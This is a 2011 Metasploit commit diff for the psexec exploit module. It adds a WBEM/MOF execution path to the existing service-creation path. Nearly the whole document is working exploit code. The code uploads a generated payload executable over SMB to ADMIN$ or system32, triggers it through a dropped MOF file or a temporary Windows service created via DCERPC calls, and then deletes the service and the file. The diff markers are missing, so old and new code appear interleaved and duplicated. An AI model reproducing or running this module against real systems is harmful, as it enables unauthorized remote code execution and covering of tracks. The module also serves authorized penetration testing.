add wbem exec method for psexec as optional, fix #3972, thanks to pbk-df3 for patch

git-svn-id: file:///home/svn/framework3/trunk@12171 4d416f70-5f16-0410-b530-b9f4589650da
This commit is contained in:
amaloteaux 2011-03-29 01:07:32 +00:00
parent b823ea9876
commit 3a6a02e43c
1 changed files with 189 additions and 159 deletions

View File

@ -33,6 +33,7 @@ class Metasploit3 < Msf::Exploit::Remote
include Msf::Exploit::Remote::SMB::Authenticated
include Msf::Auxiliary::Report
include Msf::Exploit::EXE
include Msf::Exploit::WbemExec
def initialize(info = {})
super(update_info(info,
@ -85,7 +86,8 @@ class Metasploit3 < Msf::Exploit::Remote
register_advanced_options(
[
OptBool.new('DB_REPORT_AUTH', [true, "Report an auth_note upon a successful connection", true])
OptBool.new('DB_REPORT_AUTH', [true, "Report an auth_note upon a successful connection", true]),
OptBool.new('MOF_UPLOAD_METHOD', [true, "Use WBEM instead of RPC, ADMIN$ share will be mandatory. ( Not compatible with Vista+ )", false])
], self.class)
end
@ -127,186 +129,214 @@ class Metasploit3 < Msf::Exploit::Remote
report_auth_info(report_hash)
end
filename = rand_text_alpha(8) + ".exe"
servicename = rand_text_alpha(8)
# Upload the shellcode to a file
print_status("Uploading payload...")
simple.connect(datastore['SHARE'])
fd = smb_open("\\#{filename}", 'rwct')
exe = ''
opts = { :servicename => servicename }
if (datastore['PAYLOAD'].include? 'x64')
opts.merge!({ :arch => ARCH_X64 })
end
exe = generate_payload_exe_service(opts)
fd << exe
fd.close
print_status("Created \\#{filename}...")
# Disconnect from the share
simple.disconnect(datastore['SHARE'])
# Connect to the IPC service
simple.connect("IPC$")
# Bind to the service
handle = dcerpc_handle('367abb81-9844-35f1-ad32-98f038001003', '2.0', 'ncacn_np', ["\\svcctl"])
print_status("Binding to #{handle} ...")
dcerpc_bind(handle)
print_status("Bound to #{handle} ...")
##
# OpenSCManagerW()
##
print_status("Obtaining a service manager handle...")
scm_handle = nil
stubdata =
NDR.uwstring("\\\\#{rhost}") +
NDR.long(0) +
NDR.long(0xF003F)
begin
response = dcerpc.call(0x0f, stubdata)
if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil)
scm_handle = dcerpc.last_response.stub_data[0,20]
if datastore['MOF_UPLOAD_METHOD']
# payload as exe
print_status("Trying wbemexec...")
print_status("Uploading Payload...")
if datastore['SHARE'] != 'ADMIN$'
print_error('Wbem will only work with ADMIN$ share')
return
end
rescue ::Exception => e
print_error("Error: #{e}")
return
end
simple.connect("ADMIN$")
filename = rand_text_alpha(8) + ".exe"
exe = generate_payload_exe
fd = smb_open("\\system32\\#{filename}", 'rwct')
fd << exe
fd.close
print_status("Created %SystemRoot%\\system32\\#{filename}")
##
# CreateServiceW()
##
# mof to cause execution of above
mofname = rand_text_alphanumeric(14) + ".MOF"
mof = generate_mof(mofname, filename)
print_status("Uploading MOF...")
fd = smb_open("\\system32\\wbem\\mof\\#{mofname}", 'rwct')
fd << mof
fd.close
print_status("Created %SystemRoot%\\system32\\wbem\\mof\\#{mofname}")
# define the file location
if datastore['SHARE'] == 'ADMIN$'
file_location = "%SYSTEMROOT%\\#{filename}"
elsif datastore['SHARE'] =~ /^[a-zA-Z]\$$/
file_location = datastore['SHARE'].slice(0,1) + ":\\#{filename}"
# Disconnect from the ADMIN$
simple.disconnect("ADMIN$")
else
file_location = "\\\\127.0.0.1\\#{datastore['SHARE']}\\#{filename}"
end
filename = rand_text_alpha(8) + ".exe"
servicename = rand_text_alpha(8)
displayname = 'M' + rand_text_alpha(rand(32)+1)
svc_handle = nil
svc_status = nil
# Upload the shellcode to a file
print_status("Uploading payload...")
simple.connect(datastore['SHARE'])
print_status("Creating a new service (#{servicename} - \"#{displayname}\")...")
stubdata =
scm_handle +
NDR.wstring(servicename) +
NDR.uwstring(displayname) +
fd = smb_open("\\#{filename}", 'rwct')
NDR.long(0x0F01FF) + # Access: MAX
NDR.long(0x00000110) + # Type: Interactive, Own process
NDR.long(0x00000003) + # Start: Demand
NDR.long(0x00000000) + # Errors: Ignore
NDR.wstring( file_location ) + # Binary Path
NDR.long(0) + # LoadOrderGroup
NDR.long(0) + # Dependencies
NDR.long(0) + # Service Start
NDR.long(0) + # Password
NDR.long(0) + # Password
NDR.long(0) + # Password
NDR.long(0) # Password
begin
response = dcerpc.call(0x0c, stubdata)
if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil)
svc_handle = dcerpc.last_response.stub_data[0,20]
svc_status = dcerpc.last_response.stub_data[24,4]
exe = ''
opts = { :servicename => servicename }
if (datastore['PAYLOAD'].include? 'x64')
opts.merge!({ :arch => ARCH_X64 })
end
rescue ::Exception => e
print_error("Error: #{e}")
return
end
exe = generate_payload_exe_service(opts)
##
# CloseHandle()
##
print_status("Closing service handle...")
begin
response = dcerpc.call(0x0, svc_handle)
rescue ::Exception
end
fd << exe
fd.close
##
# OpenServiceW
##
print_status("Opening service...")
begin
print_status("Created \\#{filename}...")
# Disconnect from the share
simple.disconnect(datastore['SHARE'])
# Connect to the IPC service
simple.connect("IPC$")
# Bind to the service
handle = dcerpc_handle('367abb81-9844-35f1-ad32-98f038001003', '2.0', 'ncacn_np', ["\\svcctl"])
print_status("Binding to #{handle} ...")
dcerpc_bind(handle)
print_status("Bound to #{handle} ...")
##
# OpenSCManagerW()
##
print_status("Obtaining a service manager handle...")
scm_handle = nil
stubdata =
NDR.uwstring("\\\\#{rhost}") +
NDR.long(0) +
NDR.long(0xF003F)
begin
response = dcerpc.call(0x0f, stubdata)
if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil)
scm_handle = dcerpc.last_response.stub_data[0,20]
end
rescue ::Exception => e
print_error("Error: #{e}")
return
end
##
# CreateServiceW()
##
# define the file location
if datastore['SHARE'] == 'ADMIN$'
file_location = "%SYSTEMROOT%\\#{filename}"
elsif datastore['SHARE'] =~ /^[a-zA-Z]\$$/
file_location = datastore['SHARE'].slice(0,1) + ":\\#{filename}"
else
file_location = "\\\\127.0.0.1\\#{datastore['SHARE']}\\#{filename}"
end
displayname = 'M' + rand_text_alpha(rand(32)+1)
svc_handle = nil
svc_status = nil
print_status("Creating a new service (#{servicename} - \"#{displayname}\")...")
stubdata =
scm_handle +
NDR.wstring(servicename) +
NDR.long(0xF01FF)
NDR.uwstring(displayname) +
response = dcerpc.call(0x10, stubdata)
if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil)
svc_handle = dcerpc.last_response.stub_data[0,20]
NDR.long(0x0F01FF) + # Access: MAX
NDR.long(0x00000110) + # Type: Interactive, Own process
NDR.long(0x00000003) + # Start: Demand
NDR.long(0x00000000) + # Errors: Ignore
NDR.wstring( file_location ) + # Binary Path
NDR.long(0) + # LoadOrderGroup
NDR.long(0) + # Dependencies
NDR.long(0) + # Service Start
NDR.long(0) + # Password
NDR.long(0) + # Password
NDR.long(0) + # Password
NDR.long(0) # Password
begin
response = dcerpc.call(0x0c, stubdata)
if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil)
svc_handle = dcerpc.last_response.stub_data[0,20]
svc_status = dcerpc.last_response.stub_data[24,4]
end
rescue ::Exception => e
print_error("Error: #{e}")
return
end
rescue ::Exception => e
print_error("Error: #{e}")
return
end
##
# StartService()
##
print_status("Starting the service...")
stubdata =
svc_handle +
NDR.long(0) +
NDR.long(0)
begin
response = dcerpc.call(0x13, stubdata)
if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil)
##
# CloseHandle()
##
print_status("Closing service handle...")
begin
response = dcerpc.call(0x0, svc_handle)
rescue ::Exception
end
rescue ::Exception => e
print_error("Error: #{e}")
return
end
##
# DeleteService()
##
print_status("Removing the service...")
stubdata =
svc_handle
begin
response = dcerpc.call(0x02, stubdata)
if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil)
##
# OpenServiceW
##
print_status("Opening service...")
begin
stubdata =
scm_handle +
NDR.wstring(servicename) +
NDR.long(0xF01FF)
response = dcerpc.call(0x10, stubdata)
if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil)
svc_handle = dcerpc.last_response.stub_data[0,20]
end
rescue ::Exception => e
print_error("Error: #{e}")
return
end
rescue ::Exception => e
print_error("Error: #{e}")
end
##
# CloseHandle()
##
print_status("Closing service handle...")
begin
response = dcerpc.call(0x0, svc_handle)
rescue ::Exception => e
print_error("Error: #{e}")
end
##
# StartService()
##
print_status("Starting the service...")
stubdata =
svc_handle +
NDR.long(0) +
NDR.long(0)
begin
response = dcerpc.call(0x13, stubdata)
if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil)
end
rescue ::Exception => e
print_error("Error: #{e}")
return
end
begin
print_status("Deleting \\#{filename}...")
select(nil, nil, nil, 1.0)
simple.connect(datastore['SHARE'])
simple.delete("\\#{filename}")
rescue ::Interrupt
raise $!
rescue ::Exception
end
##
# DeleteService()
##
print_status("Removing the service...")
stubdata =
svc_handle
begin
response = dcerpc.call(0x02, stubdata)
if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil)
end
rescue ::Exception => e
print_error("Error: #{e}")
end
##
# CloseHandle()
##
print_status("Closing service handle...")
begin
response = dcerpc.call(0x0, svc_handle)
rescue ::Exception => e
print_error("Error: #{e}")
end
begin
print_status("Deleting \\#{filename}...")
select(nil, nil, nil, 1.0)
simple.connect(datastore['SHARE'])
simple.delete("\\#{filename}")
rescue ::Interrupt
raise $!
rescue ::Exception
end
end
handler
disconnect
end